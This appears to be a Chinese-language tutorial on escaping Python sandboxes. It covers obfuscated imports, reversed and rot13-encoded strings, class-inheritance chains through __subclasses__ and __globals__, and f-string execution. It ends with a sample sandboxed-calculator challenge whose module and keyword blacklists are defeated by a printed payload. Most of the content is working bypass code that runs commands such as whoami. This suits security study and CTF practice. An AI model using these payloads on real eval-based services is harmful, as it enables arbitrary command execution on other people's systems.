Python中执行系统命令的方式
使用
os
包中的popen
,system
两个函数来直接执行shell
使用
commands
模块中的方法使用
subprocess
使用写文件到指定位置,再使用其他辅助手段
如:
import os import subprocess import commands os.system('whoami') os.popen('whoami') commands.getoutput('whoami') # py2 commands.getstatusoutput('whoami') # py2 subprocess.call(['whoami'],shell=True)
花式 import
对于防御者来说,最基础的思路,就是对代码的内容进行检查,最常见的方法就是禁止引入敏感的包
利用
__import__
函数f = __import__("pbzznaqf".decode('rot_13')) print(f.getoutput('ifconfig'))
使用
importlib
库import importlib f = importlib.import_module("pbzznaqf".decode('rot_13')) print(f.getoutput('ifconfig'))
__builtin__
模块:可以通过reload(__builtin__)
得到完整的模块,reload被删除时:import imp imp.reload(__builtin__)
os从
sys.modules
中删掉:(所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py
中)import sys sys.modules['os']='/usr/lib/python2.7/os.py' import os
引入模块的过程,就是把对应模块的代码执行一遍的过程,禁止引入时,知道对应的路径,就可以执行相应的代码:
execfile('/usr/lib/python2.7/os.py') system('ls') # 3.x 删了 execfile,不过可以这样: with open('/usr/lib/python3.6/os.py','r') as f: exec(f.read()) system('ls')
处理字符串
拼接:
b = 'o' a = 's' __import__(a+b).system('ls')
逆序:
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) __import__('so'[::-1]).system('dir')
通过
getattr
拿到对象的方法、属性:import os getattr(os, 'metsys'[::-1])('whoami') # 或 getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
通过继承关系逃逸
Python中新式类都有个属性,叫
__mro__
,是个元组,记录了继承关系>>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>)
由于没法直接引入
os
,假如有个库叫oos
,在oos
中引入了os
,就可以通过__globals__
拿到 os(__globals__
是函数所在的全局命名空间中所定义的全局变量)如:
site
库就有os
:>>> import site >>> site.os <module 'os' from 'E:\Python2\lib\os.pyc'>
可以利用
reload
加载os
:import site os = reload(site.os) os.system('whoami')
用
__subclasses__
看子类:for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i) # 利用site._Printer引入os ''.__class__.__mro__[-1].__subclasses__()[73]._Printer__setup.__globals__['os']
这个方法不仅限于 A->os,还可以是 A->B->os,比如 2.x 中的
warnings
:import warnings warnings.linecache warnings.linecache.os
在继承链中:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
通过
warnings.catch_warnings
,的_module
属性构造payload:[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
利用
builtin_function_or_method
的__call__
:"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') [].__getattribute__('append').__class__.__call__(eval, '1+1') class test(dict): def __init__(self): print(super(test, self).keys.__class__.__call__(eval, '1+1')) # 如果是 3.x 的话可以简写为: # super().keys.__class__.__call__(eval, '1+1')) test()
总结:通过
__class__
、__mro__
、__subclasses__
、__bases__
等等属性/方法去获取object
,再根据__globals__
找引入的__builtins__
或者eval
等能够直接被利用的库,或找到builtin_function_or_method
类/类型__call__
后直接运行eval
文件读写
2.x 有个内建的
file
函数,还有个open
,2.x 与 3.x 通用:file('key', 'w').write('123456') file('key').read()
还有一些库,例如:
types.FileType
—(rw)
、platform.popen
—(rw)
、linecache.getlines
—(r)
如果可写文件,可以将文件保存为
xxx.py
,然后 import 进来执行命令:# xxx.py import os print(os.system('whoami')) # 1.py import xxx
py 文件命名是有技巧的,要挑一个常用的标准库,因为过滤库名可能采用的是白名单,有些库是在
sys.modules
中有的,这些库无法利用,会直接从sys.modules
中加入
其它
过滤
[]
:将[]
的功能用pop
、__getitem__
代替(实际上a[0]
就是在内部调用了a.__getitem__(0)
)新特性:PEP 498 引入了
f-string
,在 3.6 开始出现:f'{__import__("os").system("whoami")}'
dir()
与__dict__
:列出一个模组/类/对象 下面 所有的属性和函数getattr
:函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性import codecs import os getattr(os, codecs.encode("flfgrz", 'rot13'))('whoami')
例题
def banner():
print "============================================="
print " Simple calculator implemented by python "
print "============================================="
return
def getexp():
return raw_input(">>> ")
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)
def sandbox_filter(command):
blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
'=', 'open', 'read', 'sys', ';', 'os']
for forbid in blacklist:
if forbid in command:
return 0
return 1
def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
if sandbox_filter(command) == 0:
print 'Malicious user input detected!!!'
exit(0)
command = 'result = ' + command
try:
exec command in _global # do calculate in a sandboxed environment
except Exception, e:
print e
return 0
result = _global['result'] # extract the result
return result
banner()
while 1:
command = getexp()
print sandbox_exec(command)
exec command in _global
:由于exec
运行在自定义的全局命名空间里,会处于受限执行模式,exec
加上定制的globals
会使得沙箱安全很多,一些常规的payload是没法使用的但由于
exec
运行在特定的命名空间里,可以通过其他命名空间里的__builtins__
,比如types
库,来执行任意命令:getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
参考文章: